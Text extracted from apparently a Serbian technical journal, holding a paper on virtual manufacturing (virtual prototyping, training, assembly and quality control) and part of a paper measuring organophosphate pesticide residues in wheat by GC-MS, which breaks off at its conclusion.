koncept razvoja novih proizvoda a indikativan primer je 

auto industrija. Ranije je novi model automobila izlazio 

na svakih desetak godina, pa i duţe, dok je danas taj 

period skraćen na svega 5-6 godina. Gotovo da je 

neprihvatljivo da se taj period odrţi i na trenutnom 

nivou i već se prave projekcije skraćenja i ,danas 
uobičajenog, vremena proizvodnje. Čak se i u izradi 

projekcije produktivnosti, prave kalkulacije na dnevnom 

nivou a ne, dosad uobičajeno, na godišnjem.  

     Pored osnovne, neposredne proizvodnje, 

pristupilo se i organizaciji menadţmenta u cilju 

skraćenja vremena izrade proizvoda, marketinga, 

transporta i još mnogih drugih funkcionalnih faktora 

koji na bilo koji način utiču na trţišne zahteve[1]. 

Gotovo da postoji trka kompanija u procesu plasmana 

novog proizvoda na trţištu, kako bi se dostigla liderska 

pozicija i nadvladala konkurencija već u samom startu. 
Čak se i u samoj obuci proizvodnih radnika i 

konstruktora pribeglo skraćenju vremena obuke kako bi 

se za kratko vreme uključili u proizvodne tokove. 

    Sve ovo ne bi bilo moguće bez razvoja 

specifičnih tehnologija koje mogu odgovoriti na sve 

postavljene zadatke. Ta tehnologija se, jednostavno, 

moţe svesti na dve reči-Virtualna proizvodnja (engl. 

Virtual manufacturing). Razvoj računarske tehnike, 

kako hardvera, a naročito softvera, omogućava razvoj 

ovog novog koncepta prihvatljivog za nove trţišne 

odnose. Softveri omogućavaju simulaciju svake faze 

proizvodnog procesa kako bi se na vrema, pre realne 
proizvodnje, uočili nedostaci i otklonila uska grla u 

proizvodnji[2]. 

     Kako bi se podrţala virtualna proizvodnja i 

bitno skratilo vreme izrade i plasmana novih proizvoda, 

razvijane su i mnoge druge oblasti podrške 

proizvodnji[3], kao što su, brzi razvoj proizvoda (Rapid 

Product Development), simultani inţenjering 

(Concurrent Engineering), brza izrada prototipova 

(Rapid Prototyping) i još niz drugih.  

     Obzirom na sve probirljivije trţište, kompletna 

filozofija organizacije i upravljanja proizvodnje dobija 
potpuno novi smisao[4]. 

 

2. TEHNOLOŠKE CELINE VIRTUELNE 

PROIZVODNJE 

 

Proizvodno mašinstvo je u domenu virtalne 

proizvodnje pokušalo da odgonetne gde je sve moguće 

da se pojave potencijalni problemi unutar stvarne 

proizvodnje i da se zahvaljujući principu virtualnosti svi 

problemi otklone još daleko pre postavljanja stvarne 

proizvodnje u pogonima. Rešavanje mnogih tehnoloških 

i konstrukcionih problema tokom projektovanja pogona 
je dovelo do smanjenja troškova proizvodnje, bolje 

iskorišćenosti raspoloţivih kapaciteta, smanjenje i 

potpuno eliminisanje potencijalnih škartova proizvoda, 

a sve zajedno je imalo za cilj povećanje kvaliteta 

proizvoda, njegovu optimizaciju i, najpotrebnije, 

sniţavanje ukupnih troškova proizvodnje. 

     Prikaz procesa virtuelne proizvodnje nam jasno 

pokazuje gde je sve moguće primeniti princip 

virtualnosti. Osnovna celina se sastoji od tri 

prepoznatljiva dela[5]: 

1 Virtuelno projektovanje proizvoda 
2 Virtuelno upravljanje  

3 Virtuelni proizvodni proces  

 

3. VIRTUELNO PROJEKTOVANJE 

(MODELIRANJE) 

 

Virtuelno projektovanje je proces u kojem se 

projektant (konstruktor) suočava sa idejnim rešenjem 

budućeg proizvoda i prenosi svoju zamisao u 

virtualnom okruţenju. Sam projektant se u suštini 

pretpostavlja kao krajnji korisnik datog proizvoda i time 

je od početka u praktičnoj interakciji sa budućim 
proizvodom, što mu omogućava odgovarajuće napredno 

softversko rešenje . Virtuelno okruţenje simulira 

prirodno okruţenje i daje konstruktoru slobodu 

„izraţavanja“ kao da je u stvarnom i tada se nameće 

zaključak da je proces virtuelnog projektovanja potpuno 

prirodan proces u kojem se u potpunosti ističe 

kreativnost projektanta (sl.1.) Ovaj princip je 

neuobičajen u klasičnom sagledavanju uloge 

konstruktora i pojedinih faza konstruisanja. 

 
Slika 1. Virtuelno projektovanje proizvoda 
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Kao glavni zadatak virtuelnog projektovanja 

proizvoda je dolazak do optimalnog rešenja oblika 

proizvoda i definisanje potrebnog tehnološkog postupka 

izrade. MeĎutim, samo zadrţavanje na izradi 

projektovanog modela proizvoda nije dovoljno, kao što 

je to bila završna faza ranijeg principa projektovanja, 

već se traţi i definisanje virtualnog prototipa i procena 

troškova u posmatranoj fazi virtualne proizvodnje. Na 

ovaj način je zaokruţena celina virtuelnog projektovanja 

i moţe se pristupiti analizi i promenama ukoliko bilo 

koji segment ne zadovoljava, a naročito prihvatljivost 
troškova.  

   Virtuelni prototip je u suštini 3D model, dobijen 

objektivno orijentisanim pristupom u odgovarajućem 

softverskom paketu, sa kojim je moguće izvršiti 

potrebne simulacije, ispitivanje, poboljšavanje i 

usavršavanje kao i sve ostale korake potrebne za 

adekvatnu pripremu proizvodnje[6]. Sam 3D model u 

suštini nije kompletiran ako nije podrţan odgovarajućim 

algoritmom pretpostavljenog softvera koji se koristi za 

manipulaciju modelom u imerzivnom okruţenju. 

Struktura virtualnog prototipa je data je slici 2.  
 

 
Slika 2. Struktura virtuelnog prototipa 

 

Kako bismo formirali pravilan virtuelni prototip 

moramo se drţati i odreĎenih zahteva koji se moraju 

zadovoljiti (sl. 3) a to su ne samo ţeljeni oblik, nego i 

zahtev za ergonomijom, sigurnosti, funkcionalnosti i 
naročito za tehnologičnošću, tj mogućom tehnološkom 

obradom.  

U savremenom okruţenju virtualni prototip se 

koristi za prezentacije korisnicima, pa je tako i 

prezentacija novih bolida čuvenog „auto cirkusa“ 

formule 1 postalo standard. Umesto prezentacije samog 

bolida, sa čuvenim hostesama i vozačima, prikazuje se 

virtualni model kao zamena. 

 

 

4. VIRTUELNO UPRAVLJANJE 

 

Planiranje i upravljanje proizvodnom tehnologijom, 
predstavlja oblast od posebnog    značaja savremene 

naučne teorije i prakse organizacije menadţmenta[1]. 

Izazovi savremenog upravljanja i planiranja 

podrazumevaju multidisciplinarnost i postavljanje novih 

standarda. Savremeni menadţeri pitanje razvoja, 

tehnoloških inovacija, zamene starih novijim i 

savremenijim tehnologijama, efikasne primene uz bolje 

ekonomske efekte i sl., nikada ne prepuštaju slučaju ili 

nikada ne reaguju stihijski. Proces planiranja i 

upravljanje tehnologijom je jedan od fundamentalnih 

zadataka modernog menadţmenta u celom svetu. Ovaj 
proces je uslovljen sve jačom konkurencijom na trţištu 

roba i usluga i, slobodno se moţe reći, traje neprekidno i 

bez prava na velike oscilacije. 

   Virtuelno okruţenje fabričkog pogona je 

nezamenljiva alatka za istraţivanje na temu kakav uticaj 

na produktivnost imaju različite kombinacije proizvoda, 

raspored merenja i kontrole unutar pogona, različiti 

tokovi materijala, obučenost i iskustvo radnika i sl. 

Simulacijom različitih procesa i variranjem tehnoloških 

celina moţemo na vreme uočiti uska grla proizvodnje i 

na vreme ih otkloniti. Pravilna analiza i donošenje 

odgovarajućih rešenja su moguća tek kada se podrobnije 
analizira stanje na trţištu i uoči stanje potreba odreĎenih 

roba ili usluga (SWAT analiza)[8]. 

 

 

 
        

 
Slika 3. Kriterijumi za kreiranjem virtuelnog prototipa [7] 

Željeni  oblik Ergonomski 

zahtev 

Sigurnosni 

zahtev 

Tehnološki 

zahtev 

Funkcionalni 

zahtev 

Virtualni 

prototip 
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Višestrukim virtualnim simulacijama procesa se 

tehnolozi upoznaju sa  tehnološkim kombinacijama koja 

do tada nisu bila poznata a moţda ni uobičajena. 

Naročito je vaţno uočiti sistem zaštite radnika i opreme 

kako bi se i u, potencijalnim kritičnim situacijama, 

pravilno reagovalo. Mnogo je primera u današnjem 

vremenu u kojima su izgubljeni ljudski ţivoti ili je 

napravljena velika materijalna šteta zbog neadekvatnog 

pristupa proizvodnim linijama ili neadekvatnim merama 

zaštite.  

   Virtuelno obučavanje radnika ima u današnje 
vreme izuzetan značaj a u konačnoj obuci i sticanju 

adekvatnih veština i znanja potrebnih za manipulaciju 

na odreĎenoj mašini, virtualne tehnologije su gotovo 

neprevaziĎene. Danas obuka savremenog pilota, 

hirurga, radnika u proizvodnji i montaţi je, praktično, 

nezamisliva bez virtualnog okruţenja.  Polaznik obuke 

ovladava potrebnim veštinama na verno simuliranom 

modelu stvarnog ureĎaja, pogona ili prevoznog sredstva. 

Obzirom da se nalazi u stanju imerzije, u 

trodimenzionalnom virtualnom okruţenju, uz adekvatnu 

opremu moţe da doţivi potpunu interakciju sa 
okruţenjem na planu senzualnosti, kretanju, audio- 

vizuelnom uţitku[5] i sl. Na ovaj način se stvaraju 

realistični uslovi koji u velikoj meri odraţavaju stvarno 

okruţenje . Paţljivim planiranjem i sprovoĎenjem 

sistema virtualne obuke i, kasnijim kombinovanjem sa 

intenzivnom praktičnom obukom, produbljuje se 

motivacija i pojačava se koncentracija polaznika i 

stvaraju se preduslovi  za savladavanje najsloţenijih 

zadataka (sl.4). 

 

 

5. VIRTUELNI PROIZVODNI PROCES 
 

Optimizovati proces proizvodnje znači na 

adekvatan način iskoristiti raspoloţive resurse (mašina, 

alat, obradak, pribor) [9], kako bi se proces proizvodnje 

sveo na prihvatljive troškove. Sama mašina je veliki 

potrošač energije, alat i pribor se haba u većoj ili manjoj 

meri i potrebno je predvideti periodičnu zamenu, radni 

predmet se zagreva pri obradi i potrebno je izvršiti 

hlaĎenje adekvatnim sredstvom, a na sve ovo treba i 

dodati potrošnju energije u neposrednom okruţenju 

radnog mesta. Pitanje je kako racionalizovati sve ove 

pretpostavke i dobiti adekvatnu obradu uz velike uštede.  

   Princip virtuelne proizvodnje moţe dati 

adekvatan odgovor na većinu ovih zahteva. Osnovna 

postavka virtualnog proizvodnog pogona data je na slici 

5. Pravilan izbor mašine uz optimizaciju parametara 
reţima obrade i neprestane simulacije procesa obrade u 

datom okruţenju daće jasan i nedvosmislen odgovor 

koje je najoptimalnije rešenje procesa neposredne 

mašinske obrade[10]. 

Velike baze podataka unutar adekvatnog 

softverskog paketa (sl.6) omogućavaju izbor različitih 

alata, materijala alata i obratka, adekvatan prilaz alata 

radnom predmetu kako bi se što manje habao i još 

mnogo drugih korisnih virtualnih alata, koje nam daju 

mogućnost realističnog prikaza stvarnih uslova unutar 

proizvodnih procesa. 
 

 

 
Slika 4. Virtuelna obuka servisera računarskih 

komponenti 

 

 
Slika 5. Struktura virtuelnog proizvodnog pogona 
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Slika 6. Baze podataka u odgovarajućem softverskom paketu 

 
Simulacije montaţe u virtuelnom okruţenju nam 

daju odgovor na pitanje koliko sloţen proces montaţe 

odreĎenih pozicija moţe biti u adekvatnom okruţenju. 

Karakterističan primer je montaţa i demontaţa 

turbinskog kola na hidrocentralama, kada se u vrlo 

skučenom prostoru mora izvršiti adekvatan remont 

postrojenja na licu mesta. TakoĎe, montaţa elektro 

mreţnih instalacija, u vrlo sloţenim vremenskim 

uslovima, se moţe na adekvatan način simulirati i na 
vreme uočiti kritične faze rada. Proces virtualne 

montaţe (sl.7) je jedan od prvih virtualnih procesa koji 

je primenjen za obučavanje radnika na proizvodnim 

linijama u automobilskoj industriji. Ova industrija je, u 

suštini, vrlo fleksibilna i prilagodljiva različitim 

zahtevima trţišta. Danas se modeli prevoznih sredstava 

menjaju u  kratkom vremenskom intervalu, a za različite 

modele se postavljaju nove proizvodne linije koje 

zahtevaju potpuno novu obuku radnika u proizvodnji. 

Sposobnost prilagoĎavanja u novonastalim okolnostima, 

za kratak vremenski period, omogućava povećanje 

konkurentnosti na trţištu i doprinosi sticanju liderske 

pozicije. Henri Ford je na vreme shvatio da se 

produktivnost rada postiţe uspostavljanjem pravilnih 
relacija na liniji za montaţu a prvenstveno  skraćenjem 

vremena dopreme proizvoda za montaţu do radnog 

mesta. Uspostavljanjem  pogona za serijsku proizvodnju 

omogućio je visoku produkciju svojih automobila i 

stekao lidersku poziciju onog vremena. 

 

 

  
 

Slika 7. Virtuelna montaţa automobila[11] 
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Virtuelna kontrola proizvoda predstavlja veoma 

vaţan segment virtualne proizvodnje. Sama kontrola  

kvaliteta proizvoda omogućava proveru metodologije 

merenja i kontrole, proveru mogućih kolizija, 

identifikaciju uticajnih parametara na tačnost merenja i 

dr. Koliko je vaţan proces kontrole i merenja 

odgovarajućih parametara i završnog kvaliteta, vidi se u 

ogromnom broju vozila povučenih sa trţišta u poslednje 

vreme. Gotovo da nema većeg ili manjeg svetski 

poznatog proizvoĎača automobila na čijim serijama nije 

uočen odreĎen problem sa vozilom u toku eksploatacije, 
a krajnji ishod je povlačenje date serije sa trţišta radi 

prepravke. To iziskuje ogromne troškove, šteti ugledu 

proizvoĎača i iziskuje mobilnost timova za odrţavanje. 

Kao glavni uzrok ovakvog stanja je nepotpuna ili 

neadekvatna završna kontrola proizvoda. Mnoge 

kompanije smanjuju troškove proizvodnje, upravo, 

eliminicijom ili umanjenim dejstvom kontrolora gotovih 

proizvoda. Zbog svega, kontrola proizvoda i obuka 

kontrolora mora biti adekvatno zastupljena u 

proizvodnji a primenjene metode i ureĎaji za kontrolu 

moraju biti fleksibilne i stalno usavršavane. 

 

6. OPRAVDANOST PRIMENE VIRTUELNE 

PROIZVODNJE 

 

Čak i male promene u proizvodnji mogu imati 

značajne efekte na kvalitet proizvoda a           naročito 

na njegovu krajnu cenu koštanja. Virtuelna proizvodnja, 

upravo, treba da da očekivani odgovor na sniţenje 

krajnje cene koštanja proizvoda, uz predviĎena 

inicijalna ulaganja, a da se ni na koji način ne naruši 

kvalitet krajnjeg proizvoda niti probiju predviĎeni 

rokovi isporuke. U svakom slučaju očekivane prednosti 
virtualne proizvodnje su sledeće[3]: 

a) Skraćenje vremena predviĎenog za idejno 

oblikovanje proizvoda (zamišljeni proizvod) pa 

sve do plasmana na trţištu ili tzv proces time-to-

market.  

b) Redukovanje troškova proizvodnje, manji 

zapreminski gubitak gotovog proizvoda u odnosu 

na pripremak, manji manipulativni troškovi unutar 

mašinske obrade, optimiziranje procesa 

proizvodnje izborom novijih modela mašina 

zasnovanih na CNC upravljanju, brţa razmena 
informacija i skraćenje tokova tehničke 

dokumentacije unutar pogona, adaptivno 

upravljanje proizvodnjim procesima i dr…  

U današnje vreme je izuzetno vaţno uspostaviti 

pravilne relacije izmeĎu naučnih pretpostavki i stvarne 

proizvodnje kako bi se dobili očekivani ekonomski 

efekti. Postizanje optimalnih relacija izmeĎu, često i 

potpuno suprotnih zahteva, nije lako. Karakterističan 

primer je postizanje što manje odbačenog materijala sa 

mašinskog dela a na uštrb proizvodnosti. Kako uskladiti 

ova dva potpuno suprotna zahteva. Poznato je da 

proizvodnost predstavlja količinu skinute strugotine u 
jedinici vremena a sa zahtevom o manjoj količini 

obraĎenog materijala proizvodnost opada. TakoĎe je 

karakterističan proizvodni zahtev za povećanjem 

kvaliteta obraĎenog dela u što kraćem vremenskom 

periodu. Povećanje kvaliteta obraĎene površine je 

vezano sa povećanjem brzine rezanja (broja obrtaja) a 

smanjenjem posmaka i dubine rezanja. Sa ovakvim 

zahtevom se smanjuje postojanost alata i potrebno ga je 

češće oštriti tj predvideti vreme zastoja rada mašine. Na 

ovaj način smo opet dobili dva suprotna efekta koja 

mogu narušiti proizvodni proces. Kako bi se zadovoljio 

uslov za skraćenjem vremena obrade a zadrţao zahtev 

za smanjenjem postojanosti alata, mora se obezbediti 

automatska zamena alata u predviĎenom vremenu. Taj 
uslov je moguć primenom KUMA (CNC) mašina u 

proizvodnji kod kojih se pomoću mehaničke ruke vrši 

zamena alata u kratkom inervalu, bez subjektivnog 

uticaja radnika.  

Sve prethodno nam govori da je jako vaţno prići 

ozbiljnijoj tehno-ekonomskoj analizi pre svakog daljeg 

ulaganja. Pravilna analiza je moguća pomoću simulacija 

svake faze proizvodnje, uočavanje svakog dela 

proizvodnog procesa i eliminisanje neţeljenih posledica 

variranjem različitih uticaja na proizvodni proces. U 

postizanju ovakvih efekata virtualna proizvodnja, tj 
simulacija rada na računarima, je nezamenljiv proces. 

Ranija proučavanja su pretpostavljala postavljanje 

modela proizvodnih procesa na kojem su se vršila 

eksperimentalna istraţivanja[8]. Model je umanjeni 

proizvodni pogon u kojem je moguća ispitivati sve 

traţene faze posmatranja, mnogo je jeftinije istraţivanje 

na modelu nego u samom pogonu, i mnogostruko su 

manji resursi vezani za ispitivanja. MeĎutim, i sam 

model ima svoje veće i manje nedostatke, nije jeftina 

izrada modela a i ne mogu se simulirati baš sve 

predviĎene faze proizvodnih procesa. 

 

7. ZAKLJUČAK 

 

Virtuelna proizvodnja je proces koji u potpunosti 

podrţava zahteve savremenih kompanija koje svoje 

proizvode nude sve probirljivijem trţištu. Gotovo da je 

nezamislivo da se, u savremenim trţišnim uslovima, ne 

ispita do najmanjeg detalja šta je to što je aktuelno na 

trţištu, po kojoj ceni se proizvod moţe ponuditi 

budućim korisnicima i koliki je očekivani profit u 

optimalnom periodu. Biti prvi na trţištu i ponuditi 

atraktivan proizvod je ţelja svakog ozbiljnog i 
ambicioznog menadţera. Ako se ovome doda i 

prihvatljiva cena proizvoda, zasnovana na minimalnim 

troškovima proizvodnje, onda se san uspešnog 

menadţera pretvara u najveće zadovoljstvo. Još je 

čuveni osnivač Ford kompanije, Henri Ford (1863-

1947), rekao da (njegov) proizvod mora biti dostupan 

svakom Amerikancu, misleći na modele svojih 

automobila. Kako bi zadovoljio svoju pretpostavku, 

morao je taj proizvod ponuditi po prihvatljivoj ceni. Da 

bi to postigao, organizovao je serijsku proizvodnju 

vozila, skratio vreme izrade pojedinih modela i u 

potpunosti eliminisao škart proizvode, tj minimizirao je 
gubitke. To je sve uradio u realnoj proizvodnji, 

modifikujući proizvodne procese na licu mesta i uz 

prihvatjive vremenske zastoje. Ako je to uspeo u 
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stvarnosti, kolike bi komparativne prednosti mogle da 

mu obezbede danas pristupačne tehnologije, naročito 

virtualna proizvodnja, a sa njome i virtualna montaţa 

kao i svi ostali segmenti proizvodnje zasnovani na 

virtuelnosti. 

Virtuelna proizvodnja je iz korena promenila 

koncept stvarne proizvodnje. Stvarna proizvodnja je 

upravo i zamišljena u virtualnom okruţenju, tako da 

moţemo reći da su virtualna i stvarna proizvodnja dve 

strane iste novčanice.  

Danas smo u mnogome obogaćeni primenom 
ključnih komponenti potrebnih za simulaciju u 

virtuelnom okruţenju. Primena kompjutera sa svojim 

tehničkim karakteristikama omogućava simulacije i 

najsloţenijih situacija koja se mogu pretpostaviti u 

stvarnosti. Potpuno prihvatanje virtualnog prototipa na 

kojem je moguće izvršiti neophodna ispitivanja i obuke 

omogućava nam sve potrebne modifikacije sve do 

prihvatljivog nivoa razvoja i dizajna. Virtualni prototip 

je naročito značajan u specifičnim naučnim oblastima, 

medicini npr., kako bi se na njemu mogla izvršiti 

potrebna obuka sa nebrojenim ponavljanjem i na taj 
način izbeglo ono najvaţnije, gubitak ljudskog ţivota na 

operacionom stolu.  

Moderne kompanije su u mogućnosti da, razvojem  

koncepta virtuelne proizvodnje, ponude trţištu 

najprihvatljivije  uslove plasmana svojih proizvoda uz 

korektan odnos cene i kvaliteta. Brojne  oblasti u kojima 

virtualnalnost ima svoju primenu je moţda najveće 

dostignuće ovog savremenog koncepta a intenzivan 

razvoj ove tehnologije nam u mnogome moţe 

obezbediti mnogo bolji i produktivniji ţivot.   
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REZIME 

 

Пестициди су синтетичка   једињења која се 

уносе у природну средину ради заштите усева од 

болести и штеточина, као и због повећања приноса 

пољопривредне производње. Органофосфорни 

пестициди се сматрају најзаступљенијим 
загађујућим материјама у природној средини, а до 

људи доспевају и преко биљака, односно 

конзумирањем намирница.  

Испитивано је присуство органофосфорних 

пестицида на узорцима пшенице са локалитета 

Бачке и Баната.Узорци за одређивање присуства 

органофосфорних пестицида припремљени су 

екстракцијом по модификованој методи АOAC 

970.52/1993 уз интерни стандард, а идентификација 

је извршена гасно масеним детектором. 

Прелиминарни резултати одређивања садржаја 
органофосфорних  једињења на површини зрна 

пшенице указују на неопходност темељног поступка 

обраде зрна у поступку млинског чишћења пшенице 

са циљем уклањања штетних материја са површине 

зрна и обезбеђења здравствено безбедне хране. 

Кључне речи: органофосфорни пестициди, 

пшеница, зрно, животна средина. 

 

ABSTRACT 

 

Pesticides are sinthetic compounds that are 

introduced into the environment are performing a 
protective role against deseases and pests, also 

positively contributing to crop yield. Organophosphate 

pesticides (OPP) are the most wide-spread polutants in 

the environment, and by consuming plant and other 

food are introduced into the human body.  

The presence organophosphate compounds were 

tested in Backa and  Banat regions. Samples for OPP 

determination were extracted modified method АOAC 

970.52/1993 together with the internal standard and 

identified by gas mass detector. 

Preliminary data of OPP content on wheat kernel 
surface point at the importance of thorough wheat 

cleaning before milling with the aim of poisonous 

matter removal and preparing safe food. 

 

Keywords: programmable logic controller, PLC, 

scada.  

 

 

 

1. УВОД 

 

Коришћење хемијских средстава за заштиту 
биљака од болести, штеточина и корова допринело 

је обезбеђивању све већих количина хране, посебно 

у неразвијеном делу света. Осим тога, њихова 

употреба омогућава већу продуктивност рада и 
захваљујући томе и већу економичност производње. 



30 
 

Отуда је разумљиво да је употреба пестицида у 

сталном порасту. Међутим, при неправилној 

употреби она истовремено представљају велику 

опасност за животну средину и здравље људи и 

животиња. Имајћи наведено у виду, као и чињеницу 

да пестициди улазе у ланац исхране преко биљака, 

њихов садржај у биљкама има изузетну важност са 

становишта производње здравствео безбедне хране 

[1]. 

Да би се задовољиле потребе пољопривреде за 

петицидима, а истовремено заштитила животна 
средина од загађења тежи се за производњом 

препарата који се одликују високом селективношћу 

и ефикасношћу, који се користе у мањим 

количинама по јединици површине и који се 

одликују малом покретљивошћу у земљишту [2]. 

 

ОРГАНОФОСФОРНИ ПЕСТИЦИДИ У ПШЕНИЦИ 

 

Цело зрно пшенице је богат извор витамина и 

минерала. Садржи витамине Б комплекса, бета 

каротин, витамин Е, калијум, калцијум, магнезијум, 
фосфор и гвожђе. Пшеница садржи већу количину 

протеина од свих осталих житарица и то је један од 

разлога зашто се производи од пшенице 

препоручују у свакодневној исхрани. Масти се 

налазе у клици а минерални састојци у омотачу 

зрна, тако да највеће здравствене вредности има 

конзумирање целог зрна. У структури исхране 

савременог човека, жита имају значајно место и 

улогу. Потрошња жита у свету варира и креће се од 

60-80 килограма по становнику годишње у 

развијеним земљама Европе [3]. Омотач зрна 

пшенице подложан је многим врстама загађења, пре 
свега микроорганизмима и њиховим метаболитима, 

пестицидима, остацима тешких метала, и др. те се 

посебна пажња мора посветити  хигијенској и 

здравственој исправности  сировине намењене за 

производе од целог зрна [4]. 

Сва три оброка у исхрани врло различитих 

категорија становништва, садрже значајан удео 

производа од жита. Сваки просечно здрав човек, 

крајем своје прве године живота почиње да 

конзумира хлеб, пециво и сличне производе што 

чини до краја живота. Производи пекарства 
заступљени су у дневној исхрани просечног 

становника око 50% [5]. 

Конзумирањем производа од целог зрна 

пшенице исхрана се обогаћује вредним састојцима 

клице и минералним материјама омотача. С обзиром 

да је омотач зрна пшенце подложан многим врстама 

загађења, међу којима су и остаци органофосфорних 

пестицида, неопходна је анализа њиховог садржаја у 

целом зрну пшенице. 

 

2. ПРИПРЕМА И АНАЛИЗА УЗОРАКА 

 
Репрезентативни узорци пшенице узети су из 

средњебанатског и средњебачког округа. Узорци за 

одређивање присуства органофосфорних пестицида 

припремљени су екстракцијом модификованом 

методом АOAC 970.52/1993. Испитивано је 

присуство органофосфорних пестицида: тионазина, 

дисулфона, паратион метила, хлорпирифоса и 

паратиона. 

Одмерено је 10g узорка, затим је додато 1μl 

интерног стандарда (quintozen) за органофосфорне 

пестициде. Екстракција је извршена на Dionex 

екстрактору. 

Радни услови Dionex екстрактора:  

 Температура 900C 

 Притисак 6900 kpa 

 Екстракциони растварач – ацетонитрил 

 

Након екстракције, садржај се упари у струји 

азота, водећи рачуна да се упаравање прекине одмах 

по испаравању задње капи течности. 

Реконституисање се врши помоћу 1cm3 смеше 

хексан: ацетон (7:3). Садржај се пренесе у вијалу, и 

затвори чепом са навојем. 

Идентификација органофосфорних пестицида 

извршена је помоћу гасног хроматографа са 
масеним детектором. 

Радни услови при  гасно-хроматографској 

анализи на инструменту Agilent GC 6890, приказани 

су у табели 1. 

 

Табела 1. Радни услови гасно-хроматографске 

анализе 

 OPP 

гас носач хелијум 

колона DB5-MS 60m, нормални пречник 

250μm, дебљина филма 0,10μm 

ињектор HP 6890 

ињектирана 

запремина 

1μl 

ињектор 

температуре 

285 oC 

температура 

детектора 

300 oC 

 

3. РЕЗУЛТАТИ И ДИСКУСИЈА 

 

Органофосфорни пестициди идентификовани у 

узорцима пшенице са подручја средњебачког и 

средње банатског округа приказани су у табелама 2 

и 3, а њихове концентрације су поређене са вред-
ностима предвиђеним Правилником о количинама 

пестицида [6]. 

На основу приказаних резултата у таб. 2 и 3, 

уочава се да је у испитиваним узорцима пшенице 

садржај хлорпирифоса 11,9-15,6 пута већи у односу 

на вредност коју прописује Правилник [6]. 

Концентрација паратиона је незнатно повећана у 

средњебачком округу, док је у испитиваним 

узорцима средњебанатског округа у границама које 

прописује национални Правилник [6]. 
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Табела 2. Садржај органофосфорних  пестицида  у узорцима пшенице гајене у средњебачком  округу, 

изражени у ng/g у односу на суву материју

  
узорак једињење (ng/g) 

Тионазин Дисулфотон Паратионметил Хлорпирифос Паратион 

Песма 27 26 42 1336 - 

27 26 41,5 1334 - 

Новосадска рана 25 - 48 433 - 

25 - 48 432 - 

Ренесанса 7 35 61 467 281 

7 35 61 466 281 

Победа 7 28 60 422 - 

7 28 60 420 - 

Прима 8 - 52 1240 - 

8 - 51 1238 - 

сред.вред. 14,8 17,8 52,4 778,8 56,2 

стан.девијација 9,173876 3,858612 7,288518 416,3224 0 

 

У раду Levy и сар. [7] је наведено да се садржај 

хлорпирифоса у узорцима пшеничног зрна кретао од 
0,0054- 0,006 mg/kg, а у мекињама 0,011 – 0,025 

mg/kg, што је 110-129 пута мање у односу на 

испитиване узорке пшенице. 

 

Табела 3. Садржај органофосфорних  пестицида  у узорцима пшенице гајене у средњебанатском  округу, 

изражени у ng/g у односу на суву материју 

 
узорак једињење (ng/g) 

Тионазин Дисулфотон Паратионметил Хлорпирифос Паратион 

Ласта 7 - 55 435 - 

7  55 435  

Европа 7 - 48 1129 - 

7  47 1128  

Песма 7 28 54 532 - 

7 27 54 530  

Мина 7 - 54 435 - 

7  54 435  

Мешавина 7 16 61 449 170 

7 16 60 449 170 

сред.вред. 7 8,7 54,2 595,7 34 

стан.девијација 0 5,760859 4,142463 268,7873 0 

 

FAO/WHO [8] је објавио податке о максимално 
дозвољеним границама органофосфорних пестицида 

на површини пшеничног зрна, међу осталим, 

хлорпирифос 50 ng/g, дисулфотон 20 ng/g. 

На основу добијених резултата (табела 2) 

уочавамо да је садржај дисулфотона за 1,66-1,71 

пута већи, за испитиване  узорке пшенице, у односу 

на податке које је објавио FAO. 

У раду Camoli и сар.[9] су дали прихватљиви 

дневни унос (Acceptable daily intakes, ADI)  за 

поједине пестициде. Испитивано је присуство 152 

пестицида на 7951 узорку хране, а за 90 пестицида 
си дате АDI вредности, међу којима паратионметил  

3 μg/kg/dan, хлорпирифос 10 μg/kg/dan, паратион  4 

μg/kg/dan. 

У односу на ове податке, резултати испитивања 

садржаја дисулфотона у намирницама које се 

свакодневно користе у исхрани Одељења за 

превенцију, пестициде и токсичне супстанце, 

Америчке агенције за заштиту животне средине где 

је  садржај ове материје у зрну пшенице, мекињама 
пшенице, пшеничном брашну је 0,0002 mg/kg, 

садржај дисулфотона на анализираним узорцима 

пшенице је и до неколико стотина пута већи. 

С обзиром на то да према важећем Правилнику 

[6] нису дефинисане максимално дозвољене 

концентрације ендриналдехида, ендринкетона, 

тионазина, дисулфотона и паратионметила, не може 

се прецизно утврдити степен контаминације 

испитиваних узорака пшенице, већ  на основу 

осталих резултата може се говорити о врло великим 

количинама испитиваних полутаната. Ови подаци 
указују на неопходност ефикасног чишћења 

површине зрна и утврђивања садржаја полутаната у 

пшеници наком темељног поступка чишћења 

површина зрна, као и на неопходност допуне 

Правилни ка  о количинама пестицида[6]. 

 

Количине органофосфорних пестицида у односу 

на дневну потрошњу хлеба 
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Житарице, брашно и хлеб представљају, 

директно или индиректно, једну од основних 

компоненти људске исхране, па је и њихов утицај на 

здравље људи велики. Због значаја које ове 

намирнице имају у људској исхрани, потребно је 

знати њихов минерални састав који је и директан 

индикатор хранљиве вредности ових производа као 

и евентуалног загађења ових производа као 

последица загађења животне средине или последица 

примењених агротехничких мера.  

Просечна дневна потрошња хлеба је 300 g, а за 100 g 
хлеба од целог зрна потребно је 70-75g  пшенице. 

Анализирајући дневну потрошњу  хлеба и 

производа од жита у исхрани људи,  у табели 4 

приказани су податци о дневном уносу 

анализираних органофосфорних пестицида ако би 

конзумирали  производе који су направљени од 

анализиране пшенице. 

Добијени резултати указују да је неопходна 

интензивна обрада зрна пшенице рибањем, односно 

производи од целог зрна пшенице могу се правити 

само од сировине чија површина је правилно 

обрађена  на савременим уређајима са високим 

учинком обраде површине, односно, са површине 

зрна неопходно је уклонити 3-6% омотача и на тај 

начин смањити количину полутаната чија 

концентрација је на површини зрна највећа. На тај 

начин добија се  квалитетан и хигијенски исправан 

производ који лечи а не угрожава здравље 

потрошача [4]. 

Добијени резултати (слика1) показују да 
количина полутаната која се задржава  на омотачу 

пшеничног зрна, може бити толика да угрози 

здравље људи и животиња, па се због тога предлаже 

анализа органофосфорних пестицида на пшеничном 

зрну и након интензивне  површинске обраде зрна. 

 

 

 

 

Табела 4. Количине органофосфорних пестицида у односу на дневну потрошњу хлеба 

 

 Једињење (μg/дан) 

Тионазин Дисулфотон Паратионметил Хлорпирифос Паратион 

Средња Бачка 3,01 3,74 11 163,5 11,8 

Средњи Банат 1,47 1,83 11,38 125,1 7,14 

Дозвољене 
количине(μg/дан) 

- - - 10,5 10,5 

 

 
Слика 1. Поређење дневног уноса органофосфорних пестицида конзумирањем производа који су  

направљени од анализиране пшенице са дозвољеним количинама 
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4. ЗАКЉУЧАК 

 

На основу резултата добијених гасно-масеном 

